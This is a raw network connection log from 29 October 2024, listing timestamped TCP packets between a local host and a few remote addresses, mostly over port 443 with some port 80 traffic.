Oct 29, 2024 13:08:50.514154911 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.514166117 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.514575005 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.514583111 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.541840076 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.541874886 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.541934013 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.542015076 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.542155027 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.542175055 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.542206049 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.542213917 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.544867039 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.544944048 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.545012951 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.545162916 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.545182943 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.569663048 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.569700956 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.569747925 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.569762945 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.569838047 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.570069075 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.570086956 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.570111990 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.570120096 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.577256918 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.577307940 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.577460051 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.577912092 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.577929020 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.588958979 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.589032888 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.589086056 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.589217901 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.589237928 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.589252949 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.589261055 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.591202021 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.591240883 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.591322899 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.591506958 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.591521978 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.612756014 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.613114119 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.613126993 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.613746881 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.613753080 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.642067909 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.642132044 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.642174959 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.642322063 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.642330885 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.642366886 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.642373085 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.644260883 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.644278049 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.644520044 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.644643068 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.644653082 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.751418114 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.751473904 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.751539946 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.751684904 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.751684904 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.751705885 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.751718044 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.754231930 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.754257917 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.754345894 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.754482985 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.754488945 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.872391939 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:50.877779961 CET	80	60561	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:50.877882004 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:50.878130913 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:50.883575916 CET	80	60561	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:51.310471058 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.311177969 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.311249018 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.311814070 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.311827898 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.318767071 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.319072962 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.319099903 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.319617987 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.319623947 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.328779936 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.329077005 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.329096079 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.329521894 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.329535007 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.396840096 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.397222042 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.397242069 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.397646904 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.397659063 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.445463896 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.445533037 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.445691109 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.445709944 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.445756912 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.445815086 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.445815086 CET	60556	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.445854902 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.445880890 CET	443	60556	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.448542118 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.448586941 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.448663950 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.448781013 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.448800087 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.459793091 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.459851027 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.459920883 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.459949970 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.459981918 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.460093021 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.460119009 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.460150003 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.460164070 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.460197926 CET	60558	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.460208893 CET	443	60558	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.462321997 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.462387085 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.462476015 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.462570906 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.462595940 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.489378929 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.489447117 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.489576101 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.489638090 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.489638090 CET	60557	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.489676952 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.489718914 CET	443	60557	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.492048025 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.492096901 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.492166996 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.492279053 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.492324114 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.511025906 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.511447906 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.511468887 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.511893034 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.511898994 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.527266979 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.527431011 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.527611017 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.527638912 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.527654886 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.527671099 CET	60559	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.527678013 CET	443	60559	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.530560017 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.530591965 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.530658007 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.530802965 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.530817986 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.648431063 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.648696899 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.648745060 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.648804903 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.648874044 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.648896933 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.648911953 CET	60560	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.648919106 CET	443	60560	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.651633024 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.651669025 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.652307034 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.652484894 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:51.652498960 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:51.807694912 CET	80	60561	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:51.807781935 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:51.807802916 CET	80	60561	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:51.807881117 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:51.808187962 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:51.808227062 CET	60561	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:52.198544979 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.199080944 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.199112892 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.199630976 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.199636936 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.206151009 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.206526995 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.206554890 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.207015991 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.207021952 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.221230030 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.222333908 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.222367048 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.222989082 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.222995043 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.303838015 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.304960966 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.305030107 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.305636883 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.305655003 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.328013897 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.328087091 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.328376055 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.328443050 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.328443050 CET	60563	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.328474998 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.328490019 CET	443	60563	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.331692934 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.331751108 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.331994057 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.332180977 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.332199097 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.338788986 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.338862896 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.339050055 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.339116096 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.339116096 CET	60562	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.339133978 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.339144945 CET	443	60562	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.341661930 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.341712952 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.341945887 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.342062950 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.342077971 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.351871014 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.352207899 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.352273941 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.352313995 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.352334023 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.352353096 CET	60564	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.352360964 CET	443	60564	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.354476929 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.354517937 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.354860067 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.354860067 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.354895115 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.391335964 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.401226997 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.401313066 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.401680946 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.401696920 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.442344904 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.442506075 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.442646027 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.443896055 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.443945885 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.443975925 CET	60565	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.443991899 CET	443	60565	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.446724892 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.446814060 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.446908951 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.447053909 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.447083950 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.528400898 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.528470993 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.528716087 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.528772116 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.528772116 CET	60566	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.528825045 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.528848886 CET	443	60566	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.531449080 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.531485081 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.531598091 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.531739950 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:52.531749010 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:52.851658106 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:52.995881081 CET	80	60572	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:52.995963097 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:52.996484995 CET	60572	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:53.001873970 CET	80	60572	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:53.122819901 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.123703003 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.123723030 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.124046087 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.124052048 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.130054951 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.130390882 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.130440950 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.130759001 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.130774975 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.130877018 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.131129026 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.131171942 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.131448984 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.131467104 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.182163000 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.182656050 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.182665110 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.183140993 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.183146000 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.259238005 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.259326935 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.259361982 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.259422064 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.259447098 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.259604931 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.259629965 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.259640932 CET	60569	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.259646893 CET	443	60569	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.263653994 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.264081955 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.264122009 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.264168024 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.264213085 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.266815901 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.266980886 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.267044067 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.267277002 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.267327070 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.267328978 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.267327070 CET	60568	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.267364025 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.267365932 CET	60567	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.267390013 CET	443	60567	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.267391920 CET	443	60568	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.269716024 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.269759893 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.269860983 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.269890070 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.269928932 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.269975901 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270059109 CET	60573	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270078897 CET	443	60573	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.270157099 CET	60574	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270169020 CET	443	60574	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.270503998 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270523071 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.270570993 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270858049 CET	60575	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.270864964 CET	443	60575	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.313457012 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.313540936 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.313605070 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.313796043 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.313796043 CET	60570	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.313816071 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.313838005 CET	443	60570	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.316754103 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.316797018 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.316860914 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.317070961 CET	60576	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.317089081 CET	443	60576	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.324677944 CET	443	60571	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:53.325088024 CET	60571	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:53.325094938 CET	443	60571	13.107.246.45	192.168.2.5
